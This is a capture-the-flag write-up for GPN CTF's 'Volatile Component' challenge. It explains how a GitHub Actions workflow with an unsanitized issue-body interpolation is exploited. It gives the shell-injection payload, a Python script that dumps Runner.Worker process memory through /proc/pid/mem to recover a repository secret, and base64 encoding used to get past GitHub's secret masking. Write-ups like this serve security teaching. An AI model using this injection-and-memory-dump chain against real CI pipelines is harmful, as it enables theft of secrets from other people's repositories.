Volatile Component
kitctf
Task: GitHub Actions workflow prints a secret flag (masked by GitHub), then redacts all GPNCTF{...} from disk, then has a script injection via unsanitized issue body interpolation. Solution: exploit script injection for RCE, then dump Runner.Worker process memory via /proc/pid/mem to find the flag's volatile trace in the .NET managed heap, base64-encoding output to bypass GitHub's secret masking.
$ ls tags/ techniques/
Volatile Component — KITCTF (GPN CTF)
Description
Diallyl disulfide is one of the main parts that is responsible for the smell of garlic. With a vapor pressure of 1 mmHg at 20 °C, even if most of it is removed, some traces might remain.
Connection: ncat --ssl grilled-orange-atop-sauteed-miso-rwox.gpn24.ctf.kitctf.de 443
English summary: connecting to the service and providing a GitHub username creates a private repository in the GPNCTF24-3 organization containing a GitHub Actions workflow and a FLAG secret. The user is added as a pull collaborator. The goal is to exfiltrate the secret flag despite GitHub's secret masking and an on-disk redaction step.
Analysis
Instance Setup
The ncat service prompts for a GitHub username, then:
- Creates a private repo
GPNCTF24-3/<userid>_<username>_volatile-component-challenge - Adds a workflow file
.github/workflows/issue-comment.yml - Sets a repository secret
FLAGcontaining the real flag - Adds the user as a pull collaborator (can open issues/comments to trigger the workflow)
Workflow Analysis
The workflow triggers on issues: [opened] and issue_comment: [created] events and runs three sequential steps:
Step 1 — Print flag:
- name: Print flag run: echo "Flag: ${{ secrets.FLAG }}"
Prints the flag, but GitHub's secret masking engine replaces the exact secret string with *** in all log output.
Step 2 — Redact:
- name: Find and redact all flag occurrences on the filesystem run: | sudo grep -rlP 'GPNCTF\{(?!\.\*\})[^}]+\}' /home/runner/ 2>/dev/null | while read -r file; do sudo sed -i -E 's/GPNCTF\{[^}]+\}/GPNCTF{REDACTED}/g' "$file" done || true
Scans ALL files under /home/runner/ for the flag pattern and replaces every occurrence with GPNCTF{REDACTED}. This catches:
- The step1 shell script in
_temp/*.sh - The Worker diagnostic log in
_diag/Worker_*.log - Any other file containing the literal flag
Step 3 — Process comment (VULNERABLE):
- name: Process comment run: echo "Processing comment: ${{ github.event.comment.body || github.event.issue.body }}"
The issue/comment body is interpolated directly into the shell command without sanitization — a classic GitHub Actions script injection vulnerability.
The Defense Layers
The challenge implements two defense layers that must both be bypassed:
-
GitHub secret masking: The exact flag string is replaced with
***in all log output. Anyechoor command output containing the literal flag is masked. -
On-disk redaction: After step1 prints the flag, step2 finds and replaces every
GPNCTF{...}pattern in all files under/home/runner/. By the time step3 (our injection) runs, the flag is gone from disk.
The Key Insight: "Volatile Traces"
The challenge title ("Volatile Component") and description ("even if most of it is removed, some traces might remain") point to volatile memory — specifically, process memory.
When GitHub Actions expands ${{ secrets.FLAG }} into step1's script, the expanded string echo "Flag: GPNCTF{realflag}" passes through the Runner.Worker .NET process. This process:
- Receives the job definition with the secret value
- Expands expression contexts into step scripts
- Writes the expanded script to disk (later redacted)
- Streams output to the log (masked)
But the original expanded string persists in the .NET managed heap of the Runner.Worker process. The disk copy gets redacted, the log output gets masked, but the process memory retains the volatile trace.
Solution
Step 1: Script Injection (RCE)
By opening an issue with a crafted body, we inject arbitrary shell commands into step3. The body format:
"; <COMMAND>; echo "done
This closes the echo "Processing comment: string, executes our command, and re-opens a string for the trailing " from the template.
Step 2: Reconnaissance
Through multiple injection payloads, we confirmed:
sudois available (passwordless root on GitHub-hosted runners)- After step2,
GPNCTF{...}exists nowhere on disk except asGPNCTF{REDACTED}(36+ copies) - The flag is NOT in environment variables (
secrets.FLAGis not auto-exported) - The Runner.Worker and Runner.Listener are .NET processes visible via
ps
Step 3: Process Memory Forensics
The winning payload (issue body):
"; echo FSCAN; echo '<base64-encoded-python-script>' | base64 -d | sudo python3 - 2>&1 | base64 -w0; echo ENDFSCAN; echo "done
The Python script that dumps Runner.Worker process memory:
#!/usr/bin/env python3 import os, re, sys # Find Runner.Worker PIDs pids = [] for n in os.listdir("/proc"): if not n.isdigit(): continue try: c = open("/proc/%s/comm" % n).read().strip() except: continue if c == "Runner.Worker": pids.append(n) # Scan process memory for the expanded step1 script results = [] for pid in pids: try: maps = open("/proc/%s/maps" % pid).read().splitlines() except: continue try: mem = open("/proc/%s/mem" % pid, "rb", 0) except: continue for line in maps: p = line.split() if len(p) < 2 or "r" not in p[1]: continue a, b = p[0].split("-") a = int(a, 16); b = int(b, 16) if b - a > 200 * 1024 * 1024: continue try: mem.seek(a); data = mem.read(b - a) except: continue # Search for "Flag: " followed by the actual flag value # (the expanded step1 script: echo "Flag: GPNCTF{...}") for m in re.finditer(rb"Flag: ([^\n\x00\"]{4,500})", data): val = m.group(1) if b"***" not in val and b"REDACTED" not in val and b"{0}" not in val: results.append(val) print(f"FOUND: {len(results)}") for val in results[:10]: print(val)
The script:
- Finds the Runner.Worker PID via
/proc/*/comm - Reads its memory map from
/proc/<pid>/maps - For each readable memory region, seeks and reads raw bytes from
/proc/<pid>/mem - Searches for the pattern
Flag: <value>— the expanded step1 script string - Filters out masked (
***), redacted, and template placeholder ({0}) matches
Step 4: Bypass Secret Masking
The Python output is piped through base64 -w0, which encodes the entire output as base64. GitHub's masking engine only matches the exact secret string — the base64-encoded form doesn't match, so it passes through to the log unmasked.
Step 5: Decode the Flag
From the Actions log output:
FSCAN
Rk9VTkQ6IDEKYidHUE5DVEZ7ZGlkX3lvdV9rTm9XXzdoNFRfZElhMWxZbF9ESTV1bGZJRDNf...==ENDFSCAN
Decoding the base64:
FOUND: 1
b'GPNCTF{did_you_kNoW_7h4T_dIa1lYl_DI5ulfID3_peNE7rAT3s_ThR0UGH_mOsT_C0MMeRciaL_glov3_7yp35_C4uSIng_6ARl1C_A11Ergy_wHiCh_MO5t_oFten_4Ff3cts_ch3Fs_anD_o7HEr_p3OpL3_THaT_handLE_gaR11c_OuU325JB}'
Key Challenges Overcome
| Defense | Bypass |
|---|---|
GitHub secret masking (exact string → ***) | Base64-encode all output before printing |
On-disk redaction (sed -i on all /home/runner/ files) | Read process memory instead of files |
| Flag not in environment variables | Search Runner.Worker heap for expanded script string |
| Step ordering (injection runs after redaction) | Process memory retains the volatile trace regardless of disk cleanup |
Searching for GPNCTF{...} in memory only finds GPNCTF{REDACTED} | Search for Flag: <non-masked-value> instead — the expanded step1 script buffer |
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [infra][free]Old food— gpnctf24
- [web][Pro]awesome pipeline— kalmarctf
- [web][free]Prison Pipeline— hackthebox_business_ctf_2024
- [web][Pro]Commentary— scarlet
- [web][free]vibecoded— tjctf